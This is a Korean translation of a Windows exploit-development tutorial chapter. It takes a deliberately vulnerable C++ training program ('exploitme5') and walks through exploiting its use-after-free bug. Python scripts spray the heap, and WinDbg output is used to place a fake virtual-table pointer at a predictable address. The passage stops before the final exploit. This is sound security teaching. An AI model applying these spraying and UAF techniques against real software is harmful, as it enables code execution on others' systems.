티스토리 뷰
[익스플로잇 개발] 11. Exploitme5 (힙 스프레잉 & UAF)
hackability 2016. 7. 22. 09:01본 문서는 원문 저자인 Massimiliano Tomassoli의 허락 하에 번역이 되었으며, 원문과 관련된 모든 저작물에 대한 저작권은 원문 저자인 Massimiliano Tomassoli에 있음을 밝힙니다.
http://expdev-kiuhnm.rhcloud.com
최신 윈도우즈 익스플로잇 개발 11. Exploitme5 (힙 스프레잉 & UAF)
hackability.kr (김태범)
hackability_at_naver.com or ktb88_at_korea.ac.kr
2016.07.22
진행 하기에 앞서, 이전 글을 읽지 않으셨다면 먼저 이전 글을 보시기 바랍니다.
이번 예제에서는 DEP를 비활성화 시켜야 합니다. VS 2013에서 Project -> properties 에 Release 설정을 다음과 같이 변경해주세요.
- Configuration Properties
- Linker
- Advanced
- Data Execution Prevention (DEP): No (/NXCOMPAT:NO)
exploitme5 의 예제 코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 | #include <conio.h> #include <cstdio> #include <cstdlib> #include <vector> using namespace std; const bool printAddresses = true; class Mutator { protected: int param; public: Mutator(int param) : param(param) {} virtual int getParam() const { return param; } virtual void mutate(void *data, int size) const = 0; }; class Multiplier: public Mutator { int reserved[40]; // not used, for now! public: Multiplier(int multiplier = 0) : Mutator(multiplier) {} virtual void mutate(void *data, int size) const { int *ptr = (int *)data; for (int i = 0; i < size / 4; ++i) ptr[i] *= getParam(); } }; class LowerCaser : public Mutator { public: LowerCaser() : Mutator(0) {} virtual void mutate(void *data, int size) const { char *ptr = (char *)data; for (int i = 0; i < size; ++i) if (ptr[i] >= 'a' && ptr[i] <= 'z') ptr[i] -= 0x20; } }; class Block { void *data; int size; public: Block(void *data, int size) : data(data), size(size) {} void *getData() const { return data; } int getSize() const { return size; } }; // Global variables vector<Block> blocks; Mutator *mutators[] = { new Multiplier(2), new LowerCaser() }; void configureMutator() { while (true) { printf( "1) Multiplier (multiplier = %d)\n" "2) LowerCaser\n" "3) Exit\n" "\n" "Your choice [1-3]: ", mutators[0]->getParam()); int choice = _getch(); printf("\n\n"); if (choice == '3') break; if (choice >= '1' && choice <= '3') { if (choice == '1') { if (printAddresses) printf("mutators[0] = 0x%08x\n", mutators[0]); delete mutators[0]; printf("multiplier (int): "); int multiplier; int res = scanf_s("%d", &multiplier); fflush(stdin); if (res) { mutators[0] = new Multiplier(multiplier); if (printAddresses) printf("mutators[0] = 0x%08x\n", mutators[0]); printf("Multiplier was configured\n\n"); } break; } else { printf("LowerCaser is not configurable for now!\n\n"); } } else printf("Wrong choice!\n"); } } void listBlocks() { printf("------- Blocks -------\n"); if (!printAddresses) for (size_t i = 0; i < blocks.size(); ++i) printf("block %d: size = %d\n", i, blocks[i].getSize()); else for (size_t i = 0; i < blocks.size(); ++i) printf("block %d: address = 0x%08x; size = %d\n", i, blocks[i].getData(), blocks[i].getSize()); printf("----------------------\n\n"); } void readBlock() { char *data; char filePath[1024]; while (true) { printf("File path ('exit' to exit): "); scanf_s("%s", filePath, sizeof(filePath)); fflush(stdin); printf("\n"); if (!strcmp(filePath, "exit")) return; FILE *f = fopen(filePath, "rb"); if (!f) printf("Can't open the file!\n\n"); else { fseek(f, 0L, SEEK_END); long bytes = ftell(f); data = new char[bytes]; fseek(f, 0L, SEEK_SET); int pos = 0; while (pos < bytes) { int len = bytes - pos > 200 ? 200 : bytes - pos; fread(data + pos, 1, len, f); pos += len; } fclose(f); blocks.push_back(Block(data, bytes)); printf("Block read (%d bytes)\n\n", bytes); break; } } } void duplicateBlock() { listBlocks(); while (true) { printf("Index of block to duplicate (-1 to exit): "); int index; scanf_s("%d", &index); fflush(stdin); if (index == -1) return; if (index < 0 || index >= (int)blocks.size()) { printf("Wrong index!\n"); } else { while (true) { int copies; printf("Number of copies (-1 to exit): "); scanf_s("%d", &copies); fflush(stdin); if (copies == -1) return; if (copies <= 0) printf("Wrong number of copies!\n"); else { for (int i = 0; i < copies; ++i) { int size = blocks[index].getSize(); void *data = new char[size]; memcpy(data, blocks[index].getData(), size); blocks.push_back(Block(data, size)); } return; } } } } } void myExit() { exit(0); } void mutateBlock() { listBlocks(); while (true) { printf("Index of block to mutate (-1 to exit): "); int index; scanf_s("%d", &index); fflush(stdin); if (index == -1) break; if (index < 0 || index >= (int)blocks.size()) { printf("Wrong index!\n"); } else { while (true) { printf( "1) Multiplier\n" "2) LowerCaser\n" "3) Exit\n" "Your choice [1-3]: "); int choice = _getch(); printf("\n\n"); if (choice == '3') break; if (choice >= '1' && choice <= '3') { choice -= '0'; mutators[choice - 1]->mutate(blocks[index].getData(), blocks[index].getSize()); printf("The block was mutated.\n\n"); break; } else printf("Wrong choice!\n\n"); } break; } } } int handleMenu() { while (true) { printf( "1) Read block from file\n" "2) List blocks\n" "3) Duplicate Block\n" "4) Configure mutator\n" "5) Mutate block\n" "6) Exit\n" "\n" "Your choice [1-6]: "); int choice = _getch(); printf("\n\n"); if (choice >= '1' && choice <= '6') return choice - '0'; else printf("Wrong choice!\n\n"); } } int main() { typedef void(*funcPtr)(); funcPtr functions[] = { readBlock, listBlocks, duplicateBlock, configureMutator, mutateBlock, myExit }; while (true) { int choice = handleMenu(); functions[choice - 1](); } return 0; } | cs |
이번 프로그램은 기존보다 긴데 먼저 프로그램에 대해 설명을 드리도록 하겠습니다.
1. 파일에서 데이터 블록을 읽음
2. 블록을 복사하여 사본을 만듬
3. 특정 연산을 통해 블록을 변환
mutator를 이용하여 블록을 변환할 수 있습니다. 여기에는 2개 mutator가 있습니다. 첫 번째는 Multiplier 인데 이는 곱셈을 이용하여 블록의 dwords 를 곱하는 것이고 두 번째는 LowerCaser 로 단순히 아스키 문자를 소문자로 변환하는 것 입니다.
Multiplier mutator는 유저가 설정 가능합니다.
UAF
이 프로그램에는 UAF (Use After Free)라는 버그가 존재합니다. UAF 버그의 예는 다음과 같습니다.
1 2 3 4 5 | Object *obj = new Object; ... delete obj; // Free ... obj->method(); // Use | cs |
보시다시피, obj는 해제된 이후에 다시 사용되었습니다. C++에서는 Garbage Collector 가 없기 때문에 직접 객체를 해제해 주어야 하기 때문에 이러한 프로그래밍 에러에 의해 객체가 해제 된 뒤에 다시 접근하는 일이 발생될 수 있습니다. 할당 해제한 뒤에 obj 는 danling pointer 라 불리게 되는데 그 이유는 할당 해제된 데이터를 가리키고 있기 때문입니다.
이 버그를 어떻게 익스플로잇 할 수 있을까요? 아이디어는 danling pointer가 가리키고 있는 메모리를 조작하여 흐름을 제어 하는 것 입니다. 이것을 어떻게 할 수 있는지를 이해하려면, 메모리 할당이 어떻게 이루어지는지 알아야 할 필요가 있습니다. 기존의 힙 강좌의 윈도우즈 힙에서 이에 대해 얘기를 한 적이 있습니다.
간단히 말하자면, 힙은 해제된 블록들의 리스트를 가지고 있는데 각각의 리스트는 특정 크기의 free block들을 가지고 있습니다. 예를들어 우리가 32 바이트 블록을 할당하고 싶다면 적절한 free block list에서 40 바이트를 제거하고 호출자에게 전달합니다. 40 바이트인 이유는 8바이트가 metadata로 사용되기 때문입니다. 블록이 응용에 의해 해제 되면 해당 블록은 다시 적절한 free block list에 들어가게 됩니다.
여기서 가장 중요한 점은 할당자가 free list에서 free block을 제거할 필요가 있을 때, 해당 리스트에 들어간 마지막 free block을 반환하는 경향이 있다는 것 입니다. 이 뜻은 만약 객체의 크기가 32 바이트이고 해제 되고 다시 32 바이트 할당 했을 때, 두 번째 객체는 첫 번째 객체가 사용했던 같은 메모리 위치에 사용된다는 것 입니다.
예를 들어 보도록 하겠습니다.
1 2 3 4 5 6 | Object *obj = new Object; ... delete obj; Object *obj2 = new Object; ... obj->method(); | cs |
이 예에서는 obj와 obj2는 결국 같은 객체를 가리키게 되는데 그 이유는 delete 에 의해 해제된 메모리 블록이 바로 new 연산에 의해 다시 되돌려 받았기 때문입니다.
만약 같은 크기의 같은 다른 객체를 할당하면 어떨까요? 예를 한번 보도록 하겠습니다.
1 2 3 4 5 6 7 | Object *obj = new Object; // sizeof(Object) = 32 ... delete obj; int *data = new int[32/4]; data[0] = ptr_to_evil_VFTable; ... obj->virtual_method(); | cs |
exploitme4 를 할 때 보앗듯이, 오브젝트의 첫 번째 DWORD는 가상 함수 테이블의 객체인데 이는 테이블의 포인터 입니다. 위 예에서는 UAF 버그에 의해 우리가 임의로 만든 값을 VFTable 포인터로 덮어 쓸 수 있습니다. 이는 obj->virtual_method()가 결국에 우리의 코드를 실행함을 의미합니다.
힙 스프레잉 (Heap Spraying)
힙에 스프레잉 한다는 의미는 힙 영역에 우리의 데이터를 채운다는 의미입니다. 브라우저에서는 자바스크립트에서 문자열이나 객체들의 할당으로 이러한 행위를 할 수 있습니다. 힙을 스프레잉 하는 것은 우리가 공격하려고 하는 프로세스의 주소 공간에 쉘코드를 넣는 것 입니다. 우리의 데이터로 힙을 성공적으로 채웠다고 하면 힙은 다음과 같을 것 입니다.
nop
nop
nop
.
.
.
nop
shellcode
nop
nop
nop
.
.
.
nop
shellcode
.
.
.
(and so on)
물론 힙에 할당되는 것은 완벽히 결정적이진 않긴하지만 만약 우리가 힙에 충분히 데이터를 쓸 수 있고 이 데이터의 nop sleds가 충분히 길고 끝에 우리의 쉘코드가 있다면 이는 높은 확률로 특정 힙 주소로 점프 했을 때 nop sled를 만나게 되고 우리의 쉘 코드가 실행 될 것 입니다.
힙이 어떻게 동작하는지에 대한 연구를 통해 우리는 더 정확한 힙 스프레잉을 할 수 있고 nop sleds가 필요 없을 수도 있습니다.
exploitme5 에서의 UAF
mutateBlock() 에 UAF 버그가 있습니다. 코드를 다시 한번 보시죠.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | void configureMutator() { while (true) { printf( "1) Multiplier (multiplier = %d)\n" "2) LowerCaser\n" "3) Exit\n" "\n" "Your choice [1-3]: ", mutators[0]->getParam()); int choice = _getch(); printf("\n\n"); if (choice == '3') break; if (choice >= '1' && choice <= '3') { if (choice == '1') { if (printAddresses) printf("mutators[0] = 0x%08x\n", mutators[0]); delete mutators[0]; <========================== FREE printf("multiplier (int): "); int multiplier; int res = scanf_s("%d", &multiplier); fflush(stdin); if (res) { mutators[0] = new Multiplier(multiplier); <======= only if res is true if (printAddresses) printf("mutators[0] = 0x%08x\n", mutators[0]); printf("Multiplier was configured\n\n"); } break; } else { printf("LowerCaser is not configurable for now!\n\n"); } } else printf("Wrong choice!\n"); } } | cs |
위 코드에서 표시한 두 부분을 봐주시기 바랍니다. 이 함수는 Multiplier mutator에서 사용될 multiplier 를 변경할 수 있도록 해주는 함수인데 유효하지 않은 값을 넣게 되면 (예를들어, “asdf”) false가 반환이 되고 mutators[0]는 해제된 객체를 가리키고 있기 때문에 danling pointer 가 됩니다.
Multiplier 의 정의를 보면 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | class Mutator { protected: int param; public: Mutator(int param) : param(param) {} virtual int getParam() const { return param; } virtual void mutate(void *data, int size) const = 0; }; class Multiplier: public Mutator { int reserved[40]; // not used, for now! public: Multiplier(int multiplier = 0) : Mutator(multiplier) {} virtual void mutate(void *data, int size) const { int *ptr = (int *)data; for (int i = 0; i < size / 4; ++i) ptr[i] *= getParam(); } }; | cs |
Multiplier의 크기는 다음과 같습니다.
bytes reason
--------------------------------
4 VFTable ptr
4 "param" property
40*4 "reserved" property
--------------------------------
168 bytes
따라서 우리가 168 바이트를 할당한다면 할당자는 mutators[0]에서 가리키고 있는 블록을 반환 할 것입니다. 어떻게 이런 블록을 생성할 수 있을까요? 여기서는 [파일에서 블록 읽기] 옵션을 이용할 수 있지만 fopen()이 새로운 블록이 할당되기 전에 실패하여 동작하지 않을 수 있습니다. 이는 fopen()이 내부적으로 할당자를 호출하기 때문에 문제가 될 수 있습니다. readBlock()의 코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | void readBlock() { char *data; char filePath[1024]; while (true) { printf("File path ('exit' to exit): "); scanf_s("%s", filePath, sizeof(filePath)); fflush(stdin); printf("\n"); if (!strcmp(filePath, "exit")) return; FILE *f = fopen(filePath, "rb"); <====================== if (!f) printf("Can't open the file!\n\n"); else { fseek(f, 0L, SEEK_END); long bytes = ftell(f); data = new char[bytes]; <====================== fseek(f, 0L, SEEK_SET); int pos = 0; while (pos < bytes) { int len = bytes - pos > 200 ? 200 : bytes - pos; fread(data + pos, 1, len, f); pos += len; } fclose(f); blocks.push_back(Block(data, bytes)); printf("Block read (%d bytes)\n\n", bytes); break; } } } | cs |
편의를 위해, 코드에서는 해제된 Multiplier (mutators[0])의 주소와 할당된 블록의 주소 (listBlocks()에 있는) 를 출력합니다.
UAF 버그를 익스플로잇 해보죠. 먼저, 다음 파이썬 스크립트를 이용하여 168 바이트 파일을 생성합니다.
1 2 | with open(r'd:\obj.dat', 'wb') as f: f.write('a'*168) | cs |
이제 exploitme5 를 실행합니다.
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 4
1) Multiplier (multiplier = 2)
2) LowerCaser
3) Exit
Your choice [1-3]: 1
mutators[0] = 0x004fc488 <======== deallocated block
multiplier (int): asdf
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 1
File path ('exit' to exit): d:\obj.dat
Block read (168 bytes)
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 2
------- Blocks -------
block 0: address = 0x004fc488; size = 168 <======= allocated block
----------------------
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]:
새로운 블록이 해제된 mutator의 동일한 주소에 할당 되었음을 볼 수 있습니다. 이 뜻은 mutators[0]에 의해 가리켜지고 있는 메모리의 내용을 조작할 수 있음을 뜻합니다.
이대로 잘 동작할 것 같지만 좀더 나은 방법으로는
1. 파일에서 블록을 읽음
2. mutator를 설정 (UAF 버그)
3. 블록을 복사
이 방법이 더 신뢰적인데 그 이유는 duplicateBlock() 은 다른 위험한(!) 함수들이 호출되기 전에 바로 새로운 블록을 할당하기 때문입니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | void duplicateBlock() { listBlocks(); while (true) { printf("Index of block to duplicate (-1 to exit): "); int index; scanf_s("%d", &index); fflush(stdin); if (index == -1) return; if (index < 0 || index >= (int)blocks.size()) { printf("Wrong index!\n"); } else { while (true) { int copies; printf("Number of copies (-1 to exit): "); scanf_s("%d", &copies); fflush(stdin); if (copies == -1) return; if (copies <= 0) printf("Wrong number of copies!\n"); else { for (int i = 0; i < copies; ++i) { int size = blocks[index].getSize(); void *data = new char[size]; <======================== memcpy(data, blocks[index].getData(), size); blocks.push_back(Block(data, size)); } return; } } } } } | cs |
두 번째 방법으로 시도해보도록 하겠습니다.
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 1
File path ('exit' to exit): d:\obj.dat
Block read (168 bytes)
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 4
1) Multiplier (multiplier = 2)
2) LowerCaser
3) Exit
Your choice [1-3]: 1
mutators[0] = 0x0071c488 <=====================
multiplier (int): asdf
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 3
------- Blocks -------
block 0: address = 0x0071c538; size = 168
----------------------
Index of block to duplicate (-1 to exit): 0
Number of copies (-1 to exit): 1
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 2
------- Blocks -------
block 0: address = 0x0071c538; size = 168
block 1: address = 0x0071c488; size = 168 <=====================
----------------------
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]:
잘 동작하는군요!
exploitme5에서의 힙 스프레잉
파일에서 큰 블록 읽고 많은 복사본을 만듬으로써 힙 스프레잉을 할 수 있습니다. 1 MB 블록을 할당해보도록 하죠. 먼저 다음 스크립트를 이용하여 파일을 생성합니다.
1 2 | with open(r'd:\buf.dat', 'wb') as f: f.write('a'*0x100000) | cs |
헥사 값으로 0x100000은 1MB를 의미합니다. WinDbg에서 exploitme5를 열고 실행합니다.
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 1
File path ('exit' to exit): d:\buf.dat
Block read (1048576 bytes) <================ 1 MB
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 3
------- Blocks -------
block 0: address = 0x02070020; size = 1048576
----------------------
Index of block to duplicate (-1 to exit): 0
Number of copies (-1 to exit): 200 <==================== 200 MB
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]: 2
------- Blocks -------
block 0: address = 0x02070020; size = 1048576
block 1: address = 0x02270020; size = 1048576
block 2: address = 0x02380020; size = 1048576
block 3: address = 0x02490020; size = 1048576
block 4: address = 0x025a0020; size = 1048576
block 5: address = 0x026b0020; size = 1048576
<생략>
block 197: address = 0x0f2b0020; size = 1048576
block 198: address = 0x0f3c0020; size = 1048576
block 199: address = 0x0f4d0020; size = 1048576
block 200: address = 0x0f5e0020; size = 1048576
----------------------
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit
Your choice [1-6]:
WinDbg에서 Debug -> Break 하여 heap 을 살펴봅니다.
0:001> !heap
NtGlobalFlag enables following debugging aids for new heaps: tail checking
free checking
validate parameters
Index Address Name Debugging options enabled
1: 00140000 tail checking free checking validate parameters
2: 00650000 tail checking free checking validate parameters
3: 01c80000 tail checking free checking validate parameters
4: 01e10000 tail checking free checking validate parameters
0:001> !heap -m <=========== -m displays the segments
Index Address Name Debugging options enabled
1: 00140000
Segment at 00140000 to 00240000 (0002f000 bytes committed)
2: 00650000
Segment at 00650000 to 00660000 (00003000 bytes committed)
3: 01c80000
Segment at 01c80000 to 01c90000 (0000c000 bytes committed)
Segment at 01e50000 to 01f50000 (0001c000 bytes committed)
4: 01e10000
Segment at 01e10000 to 01e50000 (00001000 bytes committed)
뭔가 이상하군요... 우리의 200MB 데이터는 어디에 있을까요? 문제는 우리가 힙 관리자에게 특정 임계치를 넘는 크기의 블록 할당을 요청할 때, 할당 요청은 바로 가상 메모리 관리자 (Virtual Memory Manager)로 전달되게 됩니다. 아래 내용을 한 번 보시죠.
0:001> !heap -s ("-s" stands for "summary")
NtGlobalFlag enables following debugging aids for new heaps:
tail checking
free checking
validate parameters
LFH Key : 0x66cab5dc
Termination on corruption : ENABLED
Heap Flags Reserv Commit Virt Free List UCR Virt Lock Fast
(k) (k) (k) (k) length blocks cont. heap
-----------------------------------------------------------------------------
Virtual block: 02070000 - 02070000 (size 00000000)
Virtual block: 02270000 - 02270000 (size 00000000)
Virtual block: 02380000 - 02380000 (size 00000000)
Virtual block: 02490000 - 02490000 (size 00000000)
Virtual block: 025a0000 - 025a0000 (size 00000000)
Virtual block: 026b0000 - 026b0000 (size 00000000)
<생략>
Virtual block: 0f090000 - 0f090000 (size 00000000)
Virtual block: 0f1a0000 - 0f1a0000 (size 00000000)
Virtual block: 0f2b0000 - 0f2b0000 (size 00000000)
Virtual block: 0f3c0000 - 0f3c0000 (size 00000000)
Virtual block: 0f4d0000 - 0f4d0000 (size 00000000)
Virtual block: 0f5e0000 - 0f5e0000 (size 00000000)
00140000 40000062 1024 188 1024 93 9 1 201 0
00650000 40001062 64 12 64 2 2 1 0 0
01c80000 40001062 1088 160 1088 68 5 2 0 0
01e10000 40001062 256 4 256 2 1 1 0 0
-----------------------------------------------------------------------------
!heap에 의해 나열된 가상 블록들을 보면 exploitme5에 동일한 블록에 할당되어 있고 listBlocks() 으로 나열하여 검증할 수 있습니다. 좀 다른점이 있긴 합니다.
block 200: address = 0x0f5e0020; size = 1048576 <---- listBlocks()
Virtual block: 0f5e0000 - 0f5e0000 (size 00000000) <---- !heap
0x20 바이트의 metadata (header)가 있으며 블록은 0f5e0000 에서 시작하지만 사용 가능한 위치는 0f5e0020 에서부터 시작합니다.
!heap은 우리에게 실제 크기를 보여주진 않지만 각 블록의 크기는 1MB (0x100000) 임을 알고 있습니다. 처음 두개의 블록을 제외하고 두 개의 인접한 블록의 거리를 보면 0x110000 가 되는데 두 개의 인접한 블록들 사이에 0x10000 바이트 (64 KB) 정도의 정크 데이터가 있습니다. 가능하면 정크(junk)의 크기를 줄이고 싶습니다. 블록들의 크기를 줄여 보도록 하겠습니다. 수정된 스크립트는 다음과 같습니다.
1 2 | with open(r'd:\buf.dat', 'wb') as f: f.write('a'*(0x100000-0x20)) | cs |
buf.dat 을 생성한 후, WinDbg에서 exploitme5.exe를 다시 실행하고 블록을 할당하면 다음의 내용을 볼 수 있습니다.
0:001> !heap -s
NtGlobalFlag enables following debugging aids for new heaps:
tail checking
free checking
validate parameters
LFH Key : 0x6c0192f2
Termination on corruption : ENABLED
Heap Flags Reserv Commit Virt Free List UCR Virt Lock Fast
(k) (k) (k) (k) length blocks cont. heap
-----------------------------------------------------------------------------
Virtual block: 020d0000 - 020d0000 (size 00000000)
Virtual block: 022e0000 - 022e0000 (size 00000000)
Virtual block: 023f0000 - 023f0000 (size 00000000)
Virtual block: 02500000 - 02500000 (size 00000000)
Virtual block: 02610000 - 02610000 (size 00000000)
<생략>
Virtual block: 0f210000 - 0f210000 (size 00000000)
Virtual block: 0f320000 - 0f320000 (size 00000000)
Virtual block: 0f430000 - 0f430000 (size 00000000)
Virtual block: 0f540000 - 0f540000 (size 00000000)
Virtual block: 0f650000 - 0f650000 (size 00000000)
00700000 40000062 1024 188 1024 93 9 1 201 0
00190000 40001062 64 12 64 2 2 1 0 0
020c0000 40001062 1088 160 1088 68 5 2 0 0
022a0000 40001062 256 4 256 2 1 1 0 0
-----------------------------------------------------------------------------
바뀐게 없습니다! 크기를 더 줄여 보도록 하겠습니다.
1 2 | with open(r'd:\buf.dat', 'wb') as f: f.write('a'*(0x100000-0x30)) | cs |
WinDbg 에서 보면 다음과 같습니다.
0:001> !heap -s
NtGlobalFlag enables following debugging aids for new heaps:
tail checking
free checking
validate parameters
LFH Key : 0x4863b9c2
Termination on corruption : ENABLED
Heap Flags Reserv Commit Virt Free List UCR Virt Lock Fast
(k) (k) (k) (k) length blocks cont. heap
-----------------------------------------------------------------------------
Virtual block: 00c60000 - 00c60000 (size 00000000)
Virtual block: 00e60000 - 00e60000 (size 00000000)
Virtual block: 00f60000 - 00f60000 (size 00000000)
Virtual block: 01060000 - 01060000 (size 00000000)
<생략>
Virtual block: 0e630000 - 0e630000 (size 00000000)
Virtual block: 0e730000 - 0e730000 (size 00000000)
Virtual block: 0e830000 - 0e830000 (size 00000000)
Virtual block: 0e930000 - 0e930000 (size 00000000)
Virtual block: 0ea30000 - 0ea30000 (size 00000000)
006b0000 40000062 1024 188 1024 93 9 1 201 0
003b0000 40001062 64 12 64 2 2 1 0 0
00ad0000 40001062 1088 160 1088 68 5 2 0 0
002d0000 40001062 256 4 256 2 1 1 0 0
-----------------------------------------------------------------------------
완벽합니다! 이제 정크 데이터의 크기가 0x30 바이트 밖에 안됩니다. 검증해보시면 아시겠지만 최소 크기는 0x30 입니다. 만약 0x2f 로 시도 하시면 동작하지 않을 겁니다.
exploitme5.exe를 다시 실행하여 위 작업을 다시 해보면 이번엔 WinDbg에서 다음과 같이 출력 합니다.
0:001> !heap -s
NtGlobalFlag enables following debugging aids for new heaps:
tail checking
free checking
validate parameters
LFH Key : 0x38c66846
Termination on corruption : ENABLED
Heap Flags Reserv Commit Virt Free List UCR Virt Lock Fast
(k) (k) (k) (k) length blocks cont. heap
-----------------------------------------------------------------------------
Virtual block: 02070000 - 02070000 (size 00000000)
Virtual block: 02270000 - 02270000 (size 00000000)
Virtual block: 02370000 - 02370000 (size 00000000)
Virtual block: 02470000 - 02470000 (size 00000000)
Virtual block: 02570000 - 02570000 (size 00000000)
<생략>
Virtual block: 0e570000 - 0e570000 (size 00000000)
Virtual block: 0e670000 - 0e670000 (size 00000000)
Virtual block: 0e770000 - 0e770000 (size 00000000)
Virtual block: 0e870000 - 0e870000 (size 00000000)
Virtual block: 0e970000 - 0e970000 (size 00000000)
002d0000 40000062 1024 188 1024 93 9 1 201 0
00190000 40001062 64 12 64 2 2 1 0 0
01d50000 40001062 1088 160 1088 68 5 2 0 0
01d00000 40001062 256 4 256 2 1 1 0 0
-----------------------------------------------------------------------------
이번에는 주소들이 다릅니다. 마지막 4개를 비교해보도록 하겠습니다.
Virtual block: 0e730000 - 0e730000 (size 00000000)
Virtual block: 0e830000 - 0e830000 (size 00000000)
Virtual block: 0e930000 - 0e930000 (size 00000000)
Virtual block: 0ea30000 - 0ea30000 (size 00000000)
--------------
Virtual block: 0e670000 - 0e670000 (size 00000000)
Virtual block: 0e770000 - 0e770000 (size 00000000)
Virtual block: 0e870000 - 0e870000 (size 00000000)
Virtual block: 0e970000 - 0e970000 (size 00000000)
우리가 여기서 알 수 있는건 주소는 항상 0x10000 으로 정렬된다는 것입니다. 기억해야 할 것은해더의 크기가 있기 때문에 위 주소들에 0x20 씩 더해주어야 합니다.
block 197: address = 0x0e670020; size = 1048528
block 198: address = 0x0e770020; size = 1048528
block 199: address = 0x0e870020; size = 1048528
block 200: address = 0x0e970020; size = 1048528
만약 0x10000 크기의 페이로드를 넣고 1 MB 블록 (-0x30 바이트)을 계속 반복한다면 0x0a000020 과 같은 주소에서 우리가 넣은 페이로드를 찾을 수 있습니다. 0x0a000020 을 선택한 이유는 이 곳이 우리의 힙 스프레이의 중간이기 때문입니다. 따라서 주소가 좀 변경되어도 이 위치는 분명 우리의 페이로드를 가지고 있을 것입니다.
한 번 해보도록 하겠습니다.
1 2 3 4 5 | with open(r'd:\buf.dat', 'wb') as f: payload = 'a'*0x8000 + 'b'*0x8000 # 0x8000 + 0x8000 = 0x10000 block_size = 0x100000-0x30 block = payload*(block_size/len(payload)) + payload[:block_size % len(payload)] f.write(block) | cs |
우리의 블록의 크기는 1MB 보다 0x30 작기 때문에 페이로드의 마지막 복사 할 때 짜를 필요가 있습니다. 물론 이는 문제가 되진 않습니다.
WinDbg 에서 exploitme5.exe 를 다시 실행하여 파일에서 블록을 읽고 200 개의 복사본을 만든뒤 실행을 멈추고 0x0a000020을 살펴봅니다.
09ffffd0 62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62 bbbbbbbbbbbbbbbb
09ffffe0 62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62 bbbbbbbbbbbbbbbb
09fffff0 62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62 bbbbbbbbbbbbbbbb
0a000000 62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62 bbbbbbbbbbbbbbbb
0a000010 62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62 bbbbbbbbbbbbbbbb
0a000020 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa <================ start
0a000030 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0a000040 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0a000050 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
0a000060 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
예상했듯이, 우리가 복사한 페이로드가 정확히 0x0a000020 에서 시작함을 볼 수 있습니다. 위 내용을 모두 합쳐 exploitme5.exe 익스플로잇 해보겠습니다.
실제 익스플로잇
코드의 configureMutator() 에서 UAF 버그가 있었습니다. 우리는 이 함수를 이용하여 danling pointer (mutators[0]) 를 생성 할 것입니다. 파일에서 168 바이트 (Multiplier 크기) 블록을 읽음으로써, danling pointer 가 우리가 조작할 수 있는 데이터를 가리키게 할 수 있습니다. 실제로는 데이터의 처음 DWORD는 0x0a000020 을 갖으며 이 주소는 실행 흐름을 바꾸기 위해 VFTable 을 넣을 주소 입니다.
mutateBlock() 을 보면 다음과 같습니다.
